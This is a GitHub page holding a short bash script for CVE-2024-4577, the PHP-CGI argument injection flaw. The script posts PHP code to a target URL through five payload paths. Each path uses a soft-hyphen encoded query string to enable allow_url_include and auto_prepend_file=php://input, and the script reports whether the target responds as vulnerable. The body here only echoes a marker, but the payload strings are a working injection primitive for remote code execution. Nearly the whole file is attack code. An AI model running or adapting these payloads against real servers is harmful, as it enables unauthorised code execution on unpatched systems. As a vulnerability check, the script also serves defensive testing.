CVE-2024-4577/CVE-2024-4577.sh at master · bl4cksku11/CVE-2024-4577 · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash

# Author: bl4cksku11
# CVE: CVE-2024-4577

function test_cgi_vulnerability() {
    local url=$1
    local payloads=(
        "/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        "/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        "/cgi-bin/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        "/php-cgi/php.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        "/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
    )
    local php_code='<?php echo "vulnerable"; ?>'
    local headers="Content-Type: application/x-www-form-urlencoded"

    for payload in "${payloads[@]}"; do
        local test_url="${url}${payload}"
        response=$(curl -s -X POST -H "$headers" --data "$php_code" "$test_url")
        response_text=$(echo "$response" | tr '[:upper:]' '[:lower:]')
        if [[ "$response_text" == *"vulnerable"* || "$response_text" == *"directory"* || "$response_text" == *"index of"* ]]; then
            echo "(+) Potential vulnerability detected at: $test_url"
        else
            echo "(-) No vulnerability detected at: $test_url"
        fi
    done
}

function main() {
    if [ "$#" -ne 1 ]; then
        echo "Usage: $0 <target_url>"
        exit 1
    fi

    local target_url=$1
    test_cgi_vulnerability "$target_url"
}

main "$@"